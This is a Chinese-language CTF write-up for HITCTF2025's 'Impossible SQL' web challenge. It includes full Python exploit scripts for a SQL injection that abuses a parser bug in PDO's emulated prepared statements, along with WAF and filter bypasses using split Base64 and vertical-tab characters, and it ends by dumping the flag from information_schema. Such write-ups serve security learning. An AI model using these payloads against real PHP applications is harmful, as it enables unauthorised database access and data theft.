作者: GyroJ
友链link:https://gyrojibering.github.io/
访问题目URL,页面直接显示了PHP源码:
<?php error_reporting(0); require_once 'init.php'; function safe_str($str) { if (preg_match('/[ \t\r\n]/', $str) || preg_match('/\/\*|#|--[ \t\r\n]/', $str)) { return false; } return true; } if (!isset($_GET['info']) || !isset($_GET['key'])) { HIGHLIGHT_FILE(__FILE__); die(''); } $info = str_replace('`', '``', base64_decode($_GET['info'])); $key = base64_decode($_GET['key']); if (!safe_str($info) || !safe_str($key)) { die('Invalid input'); } $sql = "SELECT `$info` FROM users WHERE username = ?"; $stmt = $pdo->prepare($sql); $stmt->execute([$key]); print_r($stmt->fetchAll()); ?>
-
参数处理流程:
info和key参数都经过Base64解码info中的反引号`会被双写转义:`→``- 两个参数都要通过
safe_str()过滤
-
safe_str()过滤规则:/[ \t\r\n]/ // 禁止空格、制表符、回车、换行 /\/\*|#|--[ \t\r\n]/ // 禁止 /* 注释、# 注释、-- 后跟空白符的注释 -
SQL查询结构:
SELECT `$info` FROM users WHERE username = ?$info直接拼接到列名位置?是PDO预处理语句的占位符,绑定$key
-
防御机制:
- 反引号转义防止列名注入
safe_str过滤空白符和注释符- PDO预处理语句防止参数注入
- 外部WAF拦截SQL关键字
初步测试发现存在WAF,拦截SELECT、UNION等关键字。
绕过方法: Split Base64编码
- 在Base64字符串中插入空格,PHP的
base64_decode()会自动忽略 - 但WAF的正则匹配会失效
def split_b64(s): return " ".join(s) # "dXNlcm5hbWU=" → "d X N l c m 5 h b W U ="
这道题目的核心是利用Novel PDO SQL Injection技术,这是一种利用PDO模拟预处理语句(ATTR_EMULATE_PREPARES)的解析器bug的新型注入方法。
参考文章: A Novel Technique for SQL Injection in PDO's Prepared Statements
关键原理:
- PDO默认启用模拟预处理,自己做SQL转义而非使用MySQL原生预处理
- PDO的SQL解析器在处理反引号包裹的标识符时存在bug
- 当标识符中出现
\0(null byte)时,解析器会错误地将反引号内的?识别为占位符 - 这导致PDO会替换这个
?,造成SQL注入
发现: \x0b(垂直制表符VT)可以绕过过滤!
# safe_str只检查 [ \t\r\n],不包括 \x0b # 但MySQL会将 \x0b 识别为空白符 vt = b'\x0b'
原始Novel PDO注入技术使用#注释:
info = \?#\x00
但safe_str禁止了#。我们使用--\x0b替代:
info = \?--\x0b\x00
虽然--\x0b不能作为MySQL注释(MySQL要求--后必须跟空格、制表符等),但在这个场景下不需要注释功能,因为我们可以通过构造完整的SQL语法来消化原查询的尾部。
import base64 import requests url = "http://996f175030f4.target.yijinglab.com/" def split_b64(s): return " ".join(s) info = b'\\?--\x0b\x00' key = b'test' info_b64 = split_b64(base64.b64encode(info).decode()) key_b64 = split_b64(base64.b64encode(key).decode()) r = requests.get(url, params={'info': info_b64, 'key': key_b64}) print(r.text)
当info = \?--\x0b\x00,key = test时:
- Base64解码后:
info = \?--\x0b\x00 - 反引号转义(无影响)
- 构造SQL:
SELECT?--\x0b\x00FROM users WHERE username = ? - PDO解析器误判:由于
\x00的存在,PDO认为反引号内的?是占位符 - PDO替换:
SELECT?--\x0b\x00FROM users WHERE username = ?
→SELECT'test'--\x0b\x00FROM users WHERE username = ?'test'被自动加上单引号和反斜杠转义
要成功注入,需要:
- 使生成的列名
\'test'...合法 - 通过子查询创建这个列名
- 消化原查询的尾部
Payload结构:
info = b'\\?--\x0b\x00' key = b'x`\x0bFROM\x0b(SELECT\x0bCOLUMN\x0bAS\x0b`\'x`\x0bFROM\x0bTABLE)y;--\x0b'
执行流程:
- PDO prepare:
SELECT?--\x0b\x00FROM users WHERE username = ? - PDO替换
?→SELECT'KEY_CONTENT'--\x0b\x00FROM users WHERE username = ? - 实际KEY_CONTENT:
x\x0bFROM\x0b(SELECT\x0b...\x0bAS\x0b\'x)y;--\x0b` - 最终SQL:
SELECT'xFROM (SELECT ... AS'x) y;-- ...FROM users WHERE username = ?` - MySQL执行:
SELECT'xFROM (SELECT ... AS'x) y;
vt = b'\x0b' # 1. 查询数据库名 key = b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'database()' + vt + b'AS' + vt + b"`'x`)y;--" + vt # 结果: hitctf # 2. 列出所有表 key = (b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'table_name' + vt + b'AS' + vt + b"`'x`" + vt + b'from' + vt + b'information_schema.tables)y;--' + vt) # 结果: secret_0fd159c54ead, users # 3. 查看secret表的列 table_hex = b'0x7365637265745f306664313539633534656164' # 'secret_0fd159c54ead'的十六进制 key = (b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt) # 结果: username,password,email
# 查询password列(包含flag) info = b'\\?--\x0b\x00' key = (b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'password' + vt + b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'secret_0fd159c54ead' + vt + b'LIMIT' + vt + b'1)y;--' + vt) info_b64 = split_b64(base64.b64encode(info).decode()) key_b64 = split_b64(base64.b64encode(key).decode()) r = requests.get(url, params={'info': info_b64, 'key': key_b64}) print(r.text)
返回结果:
Array
(
[0] => Array
(
[\'x] => flag{H4ck1nggggg_Pd0__en9in4_1fb9e382436}
[0] => flag{H4ck1nggggg_Pd0__en9in4_1fb9e382436}
)
)
#!/usr/bin/env python3 import base64 import requests url = "http://996f175030f4.target.yijinglab.com/" def split_b64(s): """Split base64 to bypass WAF""" return " ".join(s) def exploit(desc, key_payload): print(f"\n[{desc}]") info = b'\\?--\x0b\x00' # Novel PDO injection trigger info_b64 = split_b64(base64.b64encode(info).decode()) key_b64 = split_b64(base64.b64encode(key_payload).decode()) r = requests.get(url, params={'info': info_b64, 'key': key_b64}, timeout=10) if r.text.strip(): print(r.text) return r vt = b'\x0b' # Vertical tab - bypasses safe_str print("="*70) print("Novel PDO SQL Injection Exploit") print("="*70) # Step 1: Enumerate tables exploit("List all tables", b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(table_name)' + vt + b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.tables' + vt + b'WHERE' + vt + b'table_schema=database())y;--' + vt) # Step 2: Get columns from secret table table_hex = b'0x7365637265745f306664313539633534656164' exploit("List columns in secret table", b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + b'GROUP_CONCAT(column_name)' + vt + b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'information_schema.columns' + vt + b'WHERE' + vt + b'table_name=' + table_hex + b')y;--' + vt) # Step 3: Extract the flag for col in [b'username', b'password', b'email']: exploit(f"Get {col.decode()} from secret table", b'x`' + vt + b'FROM' + vt + b'(SELECT' + vt + col + vt + b'AS' + vt + b"`'x`" + vt + b'FROM' + vt + b'secret_0fd159c54ead' + vt + b'LIMIT' + vt + b'1)y;--' + vt) print("\n" + "="*70)
flag{H4ck1nggggg_Pd0__en9in4_1fb9e382436}
-
Novel PDO SQL Injection: 利用PDO模拟预处理的解析器bug,通过
\x00使其错误识别反引号内的?为占位符 -
WAF绕过: Split Base64编码(在Base64字符串中插入空格)
-
过滤绕过:
- 使用
\x0b(垂直制表符)绕过空白符过滤 - 使用
--\x0b替代被禁的#注释符(实际上作为SQL语法的一部分,不依赖注释功能)
- 使用
-
列名伪造: 通过子查询和别名构造与PDO生成的特殊列名(
\'x)匹配的列,使查询合法化 -
信息提取: 利用
information_schema系统表枚举数据库结构,最终在secret_0fd159c54ead表中找到flag
- A Novel Technique for SQL Injection in PDO's Prepared Statements
- DownUnderCTF 2025 - 'legendary' challenge
- PHP PDO Documentation

![[HITCTF2025] Web -Impossible SQL Writeup | GyroJ提供](https://lunaticquasimodo.top/uploads/Weixin_Image_2025_11_28_231158_405_2ac2620e39.jpg)